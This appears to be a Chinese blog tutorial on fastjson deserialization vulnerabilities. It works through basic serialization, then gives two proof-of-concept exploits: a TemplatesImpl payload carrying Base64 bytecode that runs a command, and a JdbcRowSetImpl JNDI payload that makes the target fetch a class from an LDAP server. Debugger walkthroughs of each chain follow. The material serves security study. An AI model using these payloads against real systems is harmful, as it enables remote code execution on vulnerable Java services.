fastjson反序列化与JNDI注入
什么是fastjson?
FastJson是阿里巴巴的的开源库,用于对JSON格式的数据进行解析和打包。其实简单的来说就是处理json格式的数据的。例如将json转换成一个类。或者是将一个类转换成一段json数据。
fastjson的简单使用
创建一个User类
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27
| package main.java.fastjson;
public class User { public String username; public String password;
public user(String username, String password) { this.username = username; this.password = password; }
public String getUsername() { return username; }
public void setUsername(String username) { this.username = username; }
public String getPassword() { return password; }
public void setPassword(String password) { this.password = password; } }
|
创建一个test类
1 2 3 4 5 6 7 8 9 10 11
| package main.java.fastjson;
import com.alibaba.fastjson.JSON;
public class test { public static void main(String[] args) { User user = new User("ycxlo","123"); String s = JSON.toJSONString(user); System.out.println(s); } }
|
输出结果

再来看看另一段代码
1 2 3 4 5 6 7 8 9 10 11 12
| package main.java.fastjson;
import com.alibaba.fastjson.JSON; import com.alibaba.fastjson.serializer.SerializerFeature;
public class test { public static void main(String[] args) { User user = new User("ycxlo","123"); String s = JSON.toJSONString(user, SerializerFeature.WriteClassName); System.out.println(s); } }
|
输出结果

第二个参数 SerializerFeature.WriteClassName
是一个枚举值,表示要在 JSON 字符串中包含类名。
在和前面代码做对比后,可以发现其实就是在调用toJSONString
方法的时候,参数里面多了一个SerializerFeature.WriteClassName
方法。传入SerializerFeature.WriteClassName
可以使得Fastjson支持自省(自省是指在运行时检查类的属性、方法和构造函数等信息,并在不提前知道类结构的情况下进行操作),开启自省后序列化成JSON
的数据就会多一个@type,这个是代表对象类型的JSON
文本。FastJson的漏洞就是他的这一个功能去产生的,在对该JSON数据进行反序列化的时候,会去调用指定类中对于的get/set/is方法。
上面是序列化的使用,接下来我们再看看反序列化
1 2 3 4 5 6 7 8 9 10 11 12 13
| package main.java.fastjson;
import com.alibaba.fastjson.JSON; import com.alibaba.fastjson.serializer.SerializerFeature;
public class test { public static void main(String[] args) { User user = new User("ycxlo","123"); String s = JSON.toJSONString(user, SerializerFeature.WriteClassName); User user1 = JSON.parseObject(s,User.class); System.out.println(user1); } }
|
但是这样会有个异常,我们需要稍稍改变一下User类,添加一个无参构造方法,输出结果

如果parseObject中没有第二个参数,则返回一个JSONObject对象
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
| package main.java.fastjson;
import com.alibaba.fastjson.JSON; import com.alibaba.fastjson.JSONObject; import com.alibaba.fastjson.serializer.SerializerFeature;
public class test { public static void main(String[] args) { User user = new User("ycxlo","123"); String s = JSON.toJSONString(user, SerializerFeature.WriteClassName); JSONObject user1 = JSON.parseObject(s); System.out.println(user1); } }
|
这两段代码中,可以发现用了JSON.parseObject
和 JSON.parse
这两个方法,JSON.parseObject
方法中没指定对象,返回的则是JSONObject
的对象。JSON.parseObject
和 JSON.parse
这两个方法差不多,JSON.parseObject
的底层调用的还是JSON.parse
方法,只是在JSON.parse
的基础上做了一个封装。
在序列化时,FastJson
会调用成员对应的get
方法,被private
修饰且没有get
方法的成员不会被序列化,
而反序列化的时候在,会调用了指定类的全部的setter
,publibc
修饰的成员全部赋值。我们可以简单测试一下
User.java
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33
| package main.java.fastjson;
public class User { public String username; public String password;
public User(){
}
public User(String username, String password) { this.username = username; this.password = password; }
public String getUsername() { System.out.println("this is getter"); return username; }
public void setUsername(String username) { System.out.println("this is setter"); this.username = username; }
public String getPassword() { return password; }
public void setPassword(String password) { this.password = password; } }
|
运行上段代码,结果为:

漏洞点:由于序列化数据是从客户端发送的,如果将type属性修改成恶意的类型,再发送过去,而接收方进行正常的反序列化操作时,不就可以实现任意类的反序列化操作!!!
反序列化漏洞复现
主要有两种攻击方式,一个是使用TemplatesImpl类,另一个是JdbcRowSetImpl类
环境
exp
1 2 3 4 5 6 7 8 9 10 11 12 13
| package main.java.fastjson;
import com.alibaba.fastjson.JSON; import com.alibaba.fastjson.parser.Feature; import com.alibaba.fastjson.parser.ParserConfig;
public class POC_Tem { public static void main(String[] args) { ParserConfig config = new ParserConfig(); String s = "{\"@type\":\"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl\",\"_bytecodes\":[\"yv66vgAAADQAMgoAAgADBwAEDAAFAAYBAEBjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvcnVudGltZS9BYnN0cmFjdFRyYW5zbGV0AQAGPGluaXQ+AQADKClWCgAIAAkHAAoMAAsADAEAEWphdmEvbGFuZy9SdW50aW1lAQAKZ2V0UnVudGltZQEAFSgpTGphdmEvbGFuZy9SdW50aW1lOwgADgEABGNhbGMKAAgAEAwAEQASAQAEZXhlYwEAJyhMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9Qcm9jZXNzOwcAFAEAE2phdmEvbGFuZy9FeGNlcHRpb24KABMAFgwAFwAGAQAPcHJpbnRTdGFja1RyYWNlBwAZAQAfbWFpbi9qYXZhL2NjMi9UZXN0VGVtcGxhdGVzSW1wbAEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBABJMb2NhbFZhcmlhYmxlVGFibGUBAAFlAQAVTGphdmEvbGFuZy9FeGNlcHRpb247AQAEdGhpcwEAIUxtYWluL2phdmEvY2MyL1Rlc3RUZW1wbGF0ZXNJbXBsOwEADVN0YWNrTWFwVGFibGUBAAl0cmFuc2Zvcm0BAHIoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007W0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7KVYBAAhkb2N1bWVudAEALUxjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NOwEACGhhbmRsZXJzAQBCW0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7AQAKRXhjZXB0aW9ucwcAKgEAOWNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9UcmFuc2xldEV4Y2VwdGlvbgEApihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9kdG0vRFRNQXhpc0l0ZXJhdG9yO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7KVYBAAhpdGVyYXRvcgEANUxjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7AQAHaGFuZGxlcgEAQUxjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7AQAKU291cmNlRmlsZQEAFlRlc3RUZW1wbGF0ZXNJbXBsLmphdmEAIQAYAAIAAAAAAAMAAQAFAAYAAQAaAAAAfAACAAIAAAAWKrcAAbgABxINtgAPV6cACEwrtgAVsQABAAQADQAQABMAAwAbAAAAGgAGAAAADAAEAA4ADQARABAADwARABAAFQASABwAAAAWAAIAEQAEAB0AHgABAAAAFgAfACAAAAAhAAAAEAAC/wAQAAEHABgAAQcAEwQAAQAiACMAAgAaAAAAPwAAAAMAAAABsQAAAAIAGwAAAAYAAQAAABYAHAAAACAAAwAAAAEAHwAgAAAAAAABACQAJQABAAAAAQAmACcAAgAoAAAABAABACkAAQAiACsAAgAaAAAASQAAAAQAAAABsQAAAAIAGwAAAAYAAQAAABoAHAAAACoABAAAAAEAHwAgAAAAAAABACQAJQABAAAAAQAsAC0AAgAAAAEALgAvAAMAKAAAAAQAAQApAAEAMAAAAAIAMQ==\"],'_name':'a.b','_tfactory':{ },\"_outputProperties\":{ }}"; Object obj = JSON.parseObject(s, Object.class, config, Feature.SupportNonPublicField); } }
|

一些对于exp的解释
- @type :用于存放反序列化时的目标类型,这里指定的是
TemplatesImpl
这个类,Fastjson会按照这个类反序列化得到实例,因为调用了getOutputProperties
方法,实例化了传入的bytecodes类,导致命令执行。需要注意的是,Fastjson默认只会反序列化public修饰的属性,outputProperties和_bytecodes由private修饰,必须加入Feature.SupportNonPublicField
在parseObject中才能触发;
- _bytecodes:继承
AbstractTranslet
类的恶意类字节码,并且使用Base64
编码
- _name:调用
getTransletInstance
时会判断其是否为null,为null直接return,不会往下进行执行,利用链就断了,可参考cc2和cc4链。
- _tfactory:
defineTransletClasses
中会调用其getExternalExtensionsMap
方法,为null会出现异常,但在前面分析jdk7u21链的时候,部分jdk并未发现该方法。
- outputProperties:漏洞利用时的关键参数,由于Fastjson反序列化过程中会调用其
getOutputProperties
方法,导致bytecodes
字节码成功实例化,造成命令执行。
前面说到的之所以加入Feature.SupportNonPublicField
才能触发是因为Feature.SupportNonPublicField
的作用是支持反序列化使用非public修饰符保护的属性。

可以看到TemplatesImpl类中基本是private属性,因此在Fastjson中需要加入Feature.SupportNonPublicField
,而这种方式并不多见。
调试分析Templates链
在JSON.parseObject处下断点即可

需要传入4个参数,input是我们的payload,clazz是反序列化后对应的类(就是obj对象的类),config就是ParseConfig对象,features参数为反序列化反序列化private属性所用到的一个参数。继续调用一个重载方法。

将features的掩码值赋给featureValues,然后实例化一个DefaultJSONParser,而后调用parser.parseObject()方法,跟进

两个if条件均不满足,调用config.getDeserializer()方法,这个方法应该就是获取一个反序列化配置,而后调用derializer.deserialze方法,跟进

进行一个三次判断,显然第二个判断是不成立的

所以调用parser.parse方法,跟进

这里调用的是DefaultJSONParser的parse方法,我们先回到当时实例化DefaultJSONParser类的时候

又实例化了一个JSONScanner对象,跟进

这个方法是用于解析json数据的,回去,继续调用DefaultJSONParser的重载方法

lexer是一个JSONScanner对象,调用getCurrent()方法就是返回ch的值,也就是{,
回到DefaultJSONParser的parse方法,对lexer的token进行一个判断,此时为12,而LBRACE对应的值便为12


又实例化了一个JSONObject对象,其中还调用了lexer.isEnabled方法,跟进一下

这里返回的是false,可以验证一下

继续跟进JSONObject的构造方法

继续调用一个重载方法

将map实例化为一个HashMap对象,返回,继续调用parseObject方法,跟进

然后会走到这一步

if条件均成立,步入,lexer.scanSymbol方法就是获取@type后面的类名,紧接着便调用LoadClass加载该类,然后会走到这里

clazz便是Templates类,调用JavaBeanDeserializer的deserialze方法,跟进

继续调用重载方法

然后运行到这里我们可以发现fieldInfo已经被赋值为了outputProperties

我们去看看它是如何被赋值的,定位到上一步的getDeserializer方法

跟进getDeserializer方法

继续调用重载方法getDeserializer((Class<?>) type, type)
,跟进

然后到这里,调用createJavaBeanDeserializer方法


走到这里

调用JavaBeanInfo.build方法,跟进

Field[] declaredFields = clazz.getDeclaredFields();
获取Templates所有的属性,Method[] methods = clazz.getMethods();
获取所有的方法
然后到这里,获取getter方法的属性值

并将其加入fieldlist,获取到了outputProperties属性
回到JavaBeanDeserializer的deserialze方法,到这里

调用parseField方法,跟进

继续调用smartMatch方法,到这里

去掉_,回去,到这一步

调用fieldDeserializer.parseField方法,其实是DefaultFieldDeserializer的parseFiled方法,跟进,然后到这里

然后调用setvalue方法,跟进,到这里

调用了TemplatesImpl.getOutputProperties()方法
终于完了……
JNDI漏洞复现
exp
1 2 3 4 5 6 7 8 9 10
| package main.java.fastjson;
import com.alibaba.fastjson.JSON;
public class POC_JNDI { public static void main(String[] args) { String PoC = "{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\", \"dataSourceName\":\"ldap://127.0.0.1:7777/test\", \"autoCommit\":true}"; JSON.parse(PoC); } }
|
启动一个ldap服务,并在test.class下监听端口

调试分析JNDI漏洞
jndi注入通用性较强(因为它不需要特殊选项),但是需要在目标出网的情况下才能使用
前面的过程基本和反序列化差不多,因为前面部分的本质就是调试查看fastjson是如何调用@type类的getter和setter方法。
那我们就再看看JNDI调用了JdbcRowSetImpl的哪个setter/getter方法,而后又是什么情况
我们可以在FieldDeserialize的setValue处下个断点

这之后会运行到这里

利用invoke调用了JdbcRowSetImpl的setAutoCommit方法,跟进

调用了connect方法,跟进

有个明显的lookup函数,其中的参数调用了getDataSourceName()方法,跟进一下

可以看到,这里返回的就是我们自定义的dataSourceName属性,说明是可控的,当然也就造成了JNDI漏洞